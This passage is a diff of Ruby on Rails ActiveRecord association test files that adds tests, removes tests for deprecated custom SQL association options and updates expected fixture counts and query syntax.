@@ -234,6 +235,17 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
end
+ def test_finding_with_includes_on_empty_polymorphic_type_column
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+ sponsor.update!(sponsorable_type: '', sponsorable_id: nil) # sponsorable_type column might be declared NOT NULL
+ sponsor = assert_queries(1) do
+ assert_nothing_raised { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
+ end
+ assert_no_queries do
+ assert_equal nil, sponsor.sponsorable
+ end
+ end
+
def test_loading_from_an_association
posts = authors(:david).posts.merge(:includes => :comments, :order => "posts.id").to_a
assert_equal 2, posts.first.comments.size
@@ -346,9 +358,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
assert_nothing_raised do
- ActiveSupport::Deprecation.silence do
- Comment.all.merge!(:includes => :post, :where => ['posts.id = ?',4]).to_a
- end
+ Comment.includes(:post).references(:posts).where('posts.id = ?', 4)
end
end
@@ -367,9 +377,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
assert_nothing_raised do
- ActiveSupport::Deprecation.silence do
- Comment.all.merge!(:includes => :post, :where => ["#{quoted_posts_id} = ?",4]).to_a
- end
+ Comment.includes(:post).references(:posts).where("#{quoted_posts_id} = ?", 4)
end
end
@@ -382,9 +390,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
assert_nothing_raised do
- ActiveSupport::Deprecation.silence do
- Comment.all.merge!(:includes => :post, :order => quoted_posts_id).to_a
- end
+ Comment.includes(:post).references(:posts).order(quoted_posts_id)
end
end
@@ -412,19 +418,19 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_load_has_one_quotes_table_and_column_names
- michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael))
+ michael = Person.all.merge!(:includes => :favourite_reference).find(people(:michael).id)
references(:michael_unicyclist)
assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
end
def test_eager_load_has_many_quotes_table_and_column_names
- michael = Person.all.merge!(:includes => :references).find(people(:michael))
+ michael = Person.all.merge!(:includes => :references).find(people(:michael).id)
references(:michael_magician,:michael_unicyclist)
assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
end
def test_eager_load_has_many_through_quotes_table_and_column_names
- michael = Person.all.merge!(:includes => :jobs).find(people(:michael))
+ michael = Person.all.merge!(:includes => :jobs).find(people(:michael).id)
jobs(:magician, :unicyclist)
assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
end
@@ -548,14 +554,10 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
- posts = ActiveSupport::Deprecation.silence do
- Post.all.merge!(:includes => [ :author, :comments ], :limit => 2, :where => [ "authors.name = ?", 'David' ]).to_a
- end
+ posts = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David')
assert_equal 2, posts.size
- count = ActiveSupport::Deprecation.silence do
- Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David').count
- end
+ count = Post.includes(:author, :comments).limit(2).references(:author).where("authors.name = ?", 'David').count
assert_equal posts.size, count
end
@@ -718,16 +720,16 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_invalid_association_reference
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
Post.all.merge!(:includes=> :monkeys ).find(6)
}
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
Post.all.merge!(:includes=>[ :monkeys ]).find(6)
}
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys") {
Post.all.merge!(:includes=>[ 'monkeys' ]).find(6)
}
- assert_raise(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
+ assert_raise(ActiveRecord::AssociationNotFoundError, "Association was not found; perhaps you misspelled it? You specified :include => :monkeys, :elephants") {
Post.all.merge!(:includes=>[ :monkeys, :elephants ]).find(6)
}
end
@@ -757,6 +759,8 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_eager_with_default_scope_as_block
+ # warm up the habtm cache
+ EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first.projects
developer = EagerDeveloperWithBlockDefaultScope.where(:name => 'David').first
projects = Project.order(:id).to_a
assert_no_queries do
@@ -1146,6 +1150,10 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_deep_including_through_habtm
+ # warm up habtm cache
+ posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
+ posts[0].categories[0].categorizations.length
+
posts = Post.all.merge!(:includes => {:categories => :categorizations}, :order => "posts.id").to_a
assert_no_queries { assert_equal 2, posts[0].categories[0].categorizations.length }
assert_no_queries { assert_equal 1, posts[0].categories[1].categorizations.length }
@@ -1182,8 +1190,46 @@ class EagerAssociationTest < ActiveRecord::TestCase
}
end
- test "works in combination with order(:symbol)" do
- author = Author.includes(:posts).references(:posts).order(:name).where('posts.title IS NOT NULL').first
+ test "works in combination with order(:symbol) and reorder(:symbol)" do
+ author = Author.includes(:posts).references(:posts).order(:name).find_by('posts.title IS NOT NULL')
assert_equal authors(:bob), author
+
+ author = Author.includes(:posts).references(:posts).reorder(:name).find_by('posts.title IS NOT NULL')
+ assert_equal authors(:bob), author
+ end
+
+ test "preloading with a polymorphic association and using the existential predicate but also using a select" do
+ assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+ assert_nothing_raised do
+ authors(:david).essays.includes(:writer).select(:name).any?
+ end
+ end
+
+ test "preloading with a polymorphic association and using the existential predicate" do
+ assert_equal authors(:david), authors(:david).essays.includes(:writer).first.writer
+
+ assert_nothing_raised do
+ authors(:david).essays.includes(:writer).any?
+ end
+ end
+
+ test "preloading associations with string joins and order references" do
+ author = assert_queries(2) {
+ Author.includes(:posts).joins("LEFT JOIN posts ON posts.author_id = authors.id").order("posts.title DESC").first
+ }
+ assert_no_queries {
+ assert_equal 5, author.posts.size
+ }
+ end
+
+ test "including associations with where.not adds implicit references" do
+ author = assert_queries(2) {
+ Author.includes(:posts).where.not(posts: { title: 'Welcome to the weblog'} ).last
+ }
+
+ assert_no_queries {
+ assert_equal 2, author.posts.size
+ }
end
end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index da767a2a7e..4c1fdfdd9a 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -59,9 +59,11 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
end
def test_extension_name
- assert_equal 'DeveloperAssociationNameAssociationExtension', extension_name(Developer)
- assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
- assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', extension_name(MyApplication::Business::Developer)
+ extend!(Developer)
+ extend!(MyApplication::Business::Developer)
+
+ assert Object.const_get 'DeveloperAssociationNameAssociationExtension'
+ assert MyApplication::Business.const_get 'DeveloperAssociationNameAssociationExtension'
end
def test_proxy_association_after_scoped
@@ -72,9 +74,8 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
private
- def extension_name(model)
+ def extend!(model)
builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, nil, {}) { }
- builder.send(:wrap_block_extension)
- builder.extension_module.name
+ builder.define_extensions(model)
end
end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index 84bdca3a97..5d33634da2 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -11,6 +11,7 @@ require 'models/author'
require 'models/tag'
require 'models/tagging'
require 'models/parrot'
+require 'models/person'
require 'models/pirate'
require 'models/treasure'
require 'models/price_estimate'
@@ -20,6 +21,7 @@ require 'models/membership'
require 'models/sponsor'
require 'models/country'
require 'models/treaty'
+require 'models/vertex'
require 'active_support/core_ext/string/conversions'
class ProjectWithAfterCreateHook < ActiveRecord::Base
@@ -65,19 +67,6 @@ class DeveloperWithSymbolsForKeys < ActiveRecord::Base
:foreign_key => "developer_id"
end
-class DeveloperWithCounterSQL < ActiveRecord::Base
- self.table_name = 'developers'
-
- ActiveSupport::Deprecation.silence do
- has_and_belongs_to_many :projects,
- :class_name => "DeveloperWithCounterSQL",
- :join_table => "developers_projects",
- :association_foreign_key => "project_id",
- :foreign_key => "developer_id",
- :counter_sql => proc { "SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}" }
- end
-end
-
class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
:parrots, :pirates, :parrots_pirates, :treasures, :price_estimates, :tags, :taggings
@@ -364,31 +353,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal 0, david.projects(true).size
end
- def test_deleting_with_sql
- david = Developer.find(1)
- active_record = Project.find(1)
- active_record.developers.reload
- assert_equal 3, active_record.developers_by_sql.size
-
- active_record.developers_by_sql.delete(david)
- assert_equal 2, active_record.developers_by_sql(true).size
- end
-
- def test_deleting_array_with_sql
- active_record = Project.find(1)
- active_record.developers.reload
- assert_equal 3, active_record.developers_by_sql.size
-
- active_record.developers_by_sql.delete(Developer.all)
- assert_equal 0, active_record.developers_by_sql(true).size
- end
-
- def test_deleting_all_with_sql
- project = Project.find(1)
- project.developers_by_sql.delete_all
- assert_equal 0, project.developers_by_sql.size
- end
-
def test_deleting_all
david = Developer.find(1)
david.projects.reload
@@ -475,13 +439,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert george.treasures(true).empty?
end
- def test_deprecated_push_with_attributes_was_removed
- jamis = developers(:jamis)
- assert_raise(NoMethodError) do
- jamis.projects.push_with_attributes(projects(:action_controller), :joined_on => Date.today)
- end
- end
-
def test_associations_with_conditions
assert_equal 3, projects(:active_record).developers.size
assert_equal 1, projects(:active_record).developers_named_david.size
@@ -537,25 +494,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert ! project.developers.include?(developer)
end
- def test_find_in_association_with_custom_finder_sql
- assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id), "SQL find"
-
- active_record = projects(:active_record)
- active_record.developers_with_finder_sql.reload
- assert_equal developers(:david), active_record.developers_with_finder_sql.find(developers(:david).id), "Ruby find"
- end
-
- def test_find_in_association_with_custom_finder_sql_and_multiple_interpolations
- # interpolate once:
- assert_equal [developers(:david), developers(:jamis), developers(:poor_jamis)], projects(:active_record).developers_with_finder_sql, "first interpolation"
- # interpolate again, for a different project id
- assert_equal [developers(:david)], projects(:action_controller).developers_with_finder_sql, "second interpolation"
- end
-
- def test_find_in_association_with_custom_finder_sql_and_string_id
- assert_equal developers(:david), projects(:active_record).developers_with_finder_sql.find(developers(:david).id.to_s), "SQL find"
- end
-
def test_find_with_merged_options
assert_equal 1, projects(:active_record).limited_developers.size
assert_equal 1, projects(:active_record).limited_developers.to_a.size
@@ -570,9 +508,9 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal high_id_jamis, projects(:active_record).developers.find_by_name('Jamis')
end
- def test_find_should_prepend_to_association_order
+ def test_find_should_append_to_association_order
ordered_developers = projects(:active_record).developers.order('projects.id')
- assert_equal ['projects.id', 'developers.name desc, developers.id desc'], ordered_developers.order_values
+ assert_equal ['developers.name desc, developers.id desc', 'projects.id'], ordered_developers.order_values
end
def test_dynamic_find_all_should_respect_readonly_access
@@ -634,6 +572,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert !developer.special_projects.include?(other_project)
end
+ def test_symbol_join_table
+ developer = Developer.first
+ sp = developer.sym_special_projects.create("name" => "omg")
+ developer.reload
+ assert_includes developer.sym_special_projects, sp
+ end
+
def test_update_attributes_after_push_without_duplicate_join_table_rows
developer = Developer.new("name" => "Kano")
project = SpecialProject.create("name" => "Special Project")
@@ -669,16 +614,24 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
def test_join_table_alias
+ # FIXME: `references` has no impact on the aliases generated for the join
+ # query. The fact that we pass `:developers_projects_join` to `references`
+ # and that the SQL string contains `developers_projects_join` is merely a
+ # coincidence.
assert_equal(
3,
Developer.references(:developers_projects_join).merge(
:includes => {:projects => :developers},
- :where => 'developers_projects_join.joined_on IS NOT NULL'
+ :where => 'projects_developers_projects_join.joined_on IS NOT NULL'
).to_a.size
)
end
def test_join_with_group
+ # FIXME: `references` has no impact on the aliases generated for the join
+ # query. The fact that we pass `:developers_projects_join` to `references`
+ # and that the SQL string contains `developers_projects_join` is merely a
+ # coincidence.
group = Developer.columns.inject([]) do |g, c|
g << "developers.#{c.name}"
g << "developers_projects_2.#{c.name}"
@@ -688,7 +641,7 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal(
3,
Developer.references(:developers_projects_join).merge(
- :includes => {:projects => :developers}, :where => 'developers_projects_join.joined_on IS NOT NULL',
+ :includes => {:projects => :developers}, :where => 'projects_developers_projects_join.joined_on IS NOT NULL',
:group => group.join(",")
).to_a.size
)
@@ -702,12 +655,12 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
def test_find_scoped_grouped
- assert_equal 5, categories(:general).posts_grouped_by_title.size
- assert_equal 1, categories(:technology).posts_grouped_by_title.size
+ assert_equal 5, categories(:general).posts_grouped_by_title.to_a.size
+ assert_equal 1, categories(:technology).posts_grouped_by_title.to_a.size
end
def test_find_scoped_grouped_having
- assert_equal 2, projects(:active_record).well_payed_salary_groups.size
+ assert_equal 2, projects(:active_record).well_payed_salary_groups.to_a.size
assert projects(:active_record).well_payed_salary_groups.all? { |g| g.salary > 10000 }
end
@@ -774,12 +727,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal project, developer.projects.first
end
- def test_self_referential_habtm_without_foreign_key_set_should_raise_exception
- assert_raise(ActiveRecord::HasAndBelongsToManyAssociationForeignKeyNeeded) {
- SelfMember.new.friends
- }
- end
-
def test_dynamic_find_should_respect_association_include
# SQL error in sort clause if :include is not included
# due to Unknown column 'authors.id'
@@ -791,21 +738,6 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert_equal 2, david.projects.count
end
- def test_count_with_counter_sql
- developer = DeveloperWithCounterSQL.create(:name => 'tekin')
- developer.project_ids = [projects(:active_record).id]
- developer.save
- developer.reload
- assert_equal 1, developer.projects.count
- end
-
- unless current_adapter?(:PostgreSQLAdapter)
- def test_count_with_finder_sql
- assert_equal 3, projects(:active_record).developers_with_finder_sql.count
- assert_equal 3, projects(:active_record).developers_with_multiline_finder_sql.count
- end
- end
-
def test_association_proxy_transaction_method_starts_transaction_in_association_class
Post.expects(:transaction)
Category.first.posts.transaction do
@@ -845,16 +777,14 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert project.developers.include?(developer)
end
- test ":insert_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- def klass.name; 'Foo'; end
- assert_deprecated { klass.has_and_belongs_to_many :posts, :insert_sql => 'lol' }
- end
-
- test ":delete_sql is deprecated" do
- klass = Class.new(ActiveRecord::Base)
- def klass.name; 'Foo'; end
- assert_deprecated { klass.has_and_belongs_to_many :posts, :delete_sql => 'lol' }
+ def test_destruction_does_not_error_without_primary_key
+ redbeard = pirates(:redbeard)
+ george = parrots(:george)
+ redbeard.parrots << george
+ assert_equal 2, george.pirates.count
+ Pirate.includes(:parrots).where(parrot: redbeard.parrot).find(redbeard.id).destroy
+ assert_equal 1, george.pirates.count
+ assert_equal [], Pirate.where(id: redbeard.id)
end
test "has and belongs to many associations on new records use null relations" do
@@ -867,4 +797,31 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_create
+ rich_person = RichPerson.new
+
+ treasure = Treasure.new
+ treasure.rich_people << rich_person
+ treasure.valid?
+
+ assert_equal 1, treasure.rich_people.size
+ assert_nil rich_person.first_name, 'should not run associated person validation on create when validate: false'
+ end
+
+ def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_update
+ rich_person = RichPerson.create!
+ person_first_name = rich_person.first_name
+ assert_not_nil person_first_name
+
+ treasure = Treasure.new
+ treasure.rich_people << rich_person
+ treasure.valid?
+
+ assert_equal 1, treasure.rich_people.size
+ assert_equal person_first_name, rich_person.first_name, 'should not run associated person validation on update when validate: false'
+ end
+
+ def test_custom_join_table
+ assert_equal 'edges', Vertex.reflect_on_association(:sources).join_table
+ end
end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index 8f5e18b863..2453d6cf58 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -22,79 +22,12 @@ require 'models/engine'
require 'models/categorization'
require 'models/minivan'
require 'models/speedometer'
-
-class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase
- class Invoice < ActiveRecord::Base
- ActiveSupport::Deprecation.silence do
- has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
- end
- end
- def test_should_fail
- assert_raise(ArgumentError) do
- Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
- end
- end
-end
-
-class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
- class Invoice < ActiveRecord::Base
- ActiveSupport::Deprecation.silence do
- has_many :custom_line_items, :class_name => 'LineItem', :counter_sql => "SELECT COUNT(*) line_items.* from line_items"
- end
- end
- def test_should_fail
- assert_raise(ArgumentError) do
- Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
- end
- end
-end
-
-class HasManyAssociationsTestForCountWithVariousFinderSqls < ActiveRecord::TestCase
- class Invoice < ActiveRecord::Base
- ActiveSupport::Deprecation.silence do
- has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
- has_many :custom_full_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.invoice_id, line_items.amount from line_items"
- has_many :custom_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT * from line_items"
- has_many :custom_qualified_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
- end
- end
-
- def test_should_count_distinct_results
- invoice = Invoice.new
- invoice.custom_line_items << LineItem.new(:amount => 0)
- invoice.custom_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 1, invoice.custom_line_items.count
- end
-
- def test_should_count_results_with_multiple_fields
- invoice = Invoice.new
- invoice.custom_full_line_items << LineItem.new(:amount => 0)
- invoice.custom_full_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 2, invoice.custom_full_line_items.count
- end
-
- def test_should_count_results_with_star
- invoice = Invoice.new
- invoice.custom_star_line_items << LineItem.new(:amount => 0)
- invoice.custom_star_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 2, invoice.custom_star_line_items.count
- end
-
- def test_should_count_results_with_qualified_star
- invoice = Invoice.new
- invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
- invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 2, invoice.custom_qualified_star_line_items.count
- end
-end
+require 'models/reference'
+require 'models/job'
+require 'models/college'
+require 'models/student'
+require 'models/pirate'
+require 'models/ship'
class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
fixtures :authors, :posts, :comments
@@ -112,12 +45,43 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :categories, :companies, :developers, :projects,
:developers_projects, :topics, :authors, :comments,
:people, :posts, :readers, :taggings, :cars, :essays,
- :categorizations
+ :categorizations, :jobs, :tags
def setup
Client.destroyed_client_ids.clear
end
+ def test_sti_subselect_count
+ tag = Tag.first
+ len = Post.tagged_with(tag.id).limit(10).size
+ assert_operator len, :>, 0
+ end
+
+ def test_anonymous_has_many
+ developer = Class.new(ActiveRecord::Base) {
+ self.table_name = 'developers'
+ dev = self
+
+ developer_project = Class.new(ActiveRecord::Base) {
+ self.table_name = 'developers_projects'
+ belongs_to :developer, :class => dev
+ }
+ has_many :developer_projects, :class => developer_project, :foreign_key => 'developer_id'
+ }
+ dev = developer.first
+ named = Developer.find(dev.id)
+ assert_operator dev.developer_projects.count, :>, 0
+ assert_equal named.projects.map(&:id).sort,
+ dev.developer_projects.map(&:project_id).sort
+ end
+
+ def test_has_many_build_with_options
+ college = College.create(name: 'UFMT')
+ Student.create(active: true, college_id: college.id, name: 'Sarah')
+
+ assert_equal college.students, Student.where(active: true, college_id: college.id)
+ end
+
def test_create_from_association_should_respect_default_scope
car = Car.create(:name => 'honda')
assert_equal 'honda', car.name
@@ -135,6 +99,13 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 'exotic', bulb.name
end
+ def test_build_from_association_should_respect_scope
+ author = Author.new
+
+ post = author.thinking_posts.build
+ assert_equal 'So I was thinking', post.title
+ end
+
def test_create_from_association_with_nil_values_should_work
car = Car.create(:name => 'honda')
@@ -148,6 +119,39 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 'defaulty', bulb.name
end
+ def test_do_not_call_callbacks_for_delete_all
+ car = Car.create(:name => 'honda')
+ car.funky_bulbs.create!
+ assert_nothing_raised { car.reload.funky_bulbs.delete_all }
+ assert_equal 0, Bulb.count, "bulbs should have been deleted using :delete_all strategy"
+ end
+
+ def test_delete_all_on_association_is_the_same_as_not_loaded
+ author = authors :david
+ author.thinking_posts.create!(:body => "test")
+ author.reload
+ expected_sql = capture_sql { author.thinking_posts.delete_all }
+
+ author.thinking_posts.create!(:body => "test")
+ author.reload
+ author.thinking_posts.inspect
+ loaded_sql = capture_sql { author.thinking_posts.delete_all }
+ assert_equal(expected_sql, loaded_sql)
+ end
+
+ def test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded
+ author = authors :david
+ author.posts.create!(:title => "test", :body => "body")
+ author.reload
+ expected_sql = capture_sql { author.posts.delete_all }
+
+ author.posts.create!(:title => "test", :body => "body")
+ author.reload
+ author.posts.to_a
+ loaded_sql = capture_sql { author.posts.delete_all }
+ assert_equal(expected_sql, loaded_sql)
+ end
+
def test_building_the_associated_object_with_implicit_sti_base_class
firm = DependentFirm.new
company = firm.companies.build
@@ -257,6 +261,31 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
assert_no_queries do
+ bulbs.second()
+ bulbs.second({})
+ end
+
+ assert_no_queries do
+ bulbs.third()
+ bulbs.third({})
+ end
+
+ assert_no_queries do
+ bulbs.fourth()
+ bulbs.fourth({})
+ end
+
+ assert_no_queries do
+ bulbs.fifth()
+ bulbs.fifth({})
+ end
+
+ assert_no_queries do
+ bulbs.forty_two()
+ bulbs.forty_two({})
+ end
+
+ assert_no_queries do
bulbs.last()
bulbs.last({})
end
@@ -283,11 +312,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
# sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
def test_counting_with_counter_sql
- assert_equal 2, Firm.all.merge!(:order => "id").first.clients.count
+ assert_equal 3, Firm.all.merge!(:order => "id").first.clients.count
end
def test_counting
- assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count
+ assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count
end
def test_counting_with_single_hash
@@ -295,7 +324,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_counting_with_column_name_and_hash
- assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
+ assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
end
def test_counting_with_association_limit
@@ -305,27 +334,27 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_finding
- assert_equal 2, Firm.all.merge!(:order => "id").first.clients.length
+ assert_equal 3, Firm.all.merge!(:order => "id").first.clients.length
end
def test_finding_array_compatibility
- assert_equal 2, Firm.order(:id).find{|f| f.id > 0}.clients.length
+ assert_equal 3, Firm.order(:id).find{|f| f.id > 0}.clients.length
end
def test_find_many_with_merged_options
assert_equal 1, companies(:first_firm).limited_clients.size
assert_equal 1, companies(:first_firm).limited_clients.to_a.size
- assert_equal 2, companies(:first_firm).limited_clients.limit(nil).to_a.size
+ assert_equal 3, companies(:first_firm).limited_clients.limit(nil).to_a.size
end
- def test_find_should_prepend_to_association_order
+ def test_find_should_append_to_association_order
ordered_clients = companies(:first_firm).clients_sorted_desc.order('companies.id')
- assert_equal ['companies.id', 'id DESC'], ordered_clients.order_values
+ assert_equal ['id DESC', 'companies.id'], ordered_clients.order_values
end
def test_dynamic_find_should_respect_association_order
- assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
- assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
+ assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
+ assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
end
def test_cant_save_has_many_readonly_association
@@ -338,7 +367,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_finding_with_different_class_name_and_order
- assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
+ assert_equal "Apex", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
end
def test_finding_with_foreign_key
@@ -357,42 +386,9 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients_using_primary_key.first.name
end
- def test_finding_using_sql
- firm = Firm.order("id").first
- first_client = firm.clients_using_sql.first
- assert_not_nil first_client
- assert_equal "Microsoft", first_client.name
- assert_equal 1, firm.clients_using_sql.size
- assert_equal 1, Firm.order("id").first.clients_using_sql.size
- end
-
- def test_finding_using_sql_take_into_account_only_uniq_ids
- firm = Firm.order("id").first
- client = firm.clients_using_sql.first
- assert_equal client, firm.clients_using_sql.find(client.id, client.id)
- assert_equal client, firm.clients_using_sql.find(client.id, client.id.to_s)
- end
-
- def test_counting_using_sql
- assert_equal 1, Firm.order("id").first.clients_using_counter_sql.size
- assert Firm.order("id").first.clients_using_counter_sql.any?
- assert_equal 0, Firm.order("id").first.clients_using_zero_counter_sql.size
- assert !Firm.order("id").first.clients_using_zero_counter_sql.any?
- end
-
- def test_counting_non_existant_items_using_sql
- assert_equal 0, Firm.order("id").first.no_clients_using_counter_sql.size
- end
-
- def test_counting_using_finder_sql
- assert_equal 2, Firm.find(4).clients_using_sql.count
- end
-
def test_belongs_to_sanity
c = Client.new
- assert_nil c.firm
-
- flunk "belongs_to failed if check" if c.firm
+ assert_nil c.firm, "belongs_to failed sanity check on new object"
end
def test_find_ids
@@ -415,25 +411,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
end
- def test_find_string_ids_when_using_finder_sql
- firm = Firm.order("id").first
+ def test_find_ids_and_inverse_of
+ force_signal37_to_load_all_clients_of_firm
- client = firm.clients_using_finder_sql.find("2")
+ firm = companies(:first_firm)
+ client = firm.clients_of_firm.find(3)
assert_kind_of Client, client
- client_ary = firm.clients_using_finder_sql.find(["2"])
+ client_ary = firm.clients_of_firm.find([3])
assert_kind_of Array, client_ary
assert_equal client, client_ary.first
-
- client_ary = firm.clients_using_finder_sql.find("2", "3")
- assert_kind_of Array, client_ary
- assert_equal 2, client_ary.size
- assert_equal true, client_ary.include?(client)
end
def test_find_all
firm = Firm.all.merge!(:order => "id").first
- assert_equal 2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+ assert_equal 3, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
end
@@ -442,7 +434,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert ! firm.clients.loaded?
- assert_queries(3) do
+ assert_queries(4) do
firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
end
@@ -512,15 +504,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_find_grouped
all_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1").to_a
grouped_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count').to_a
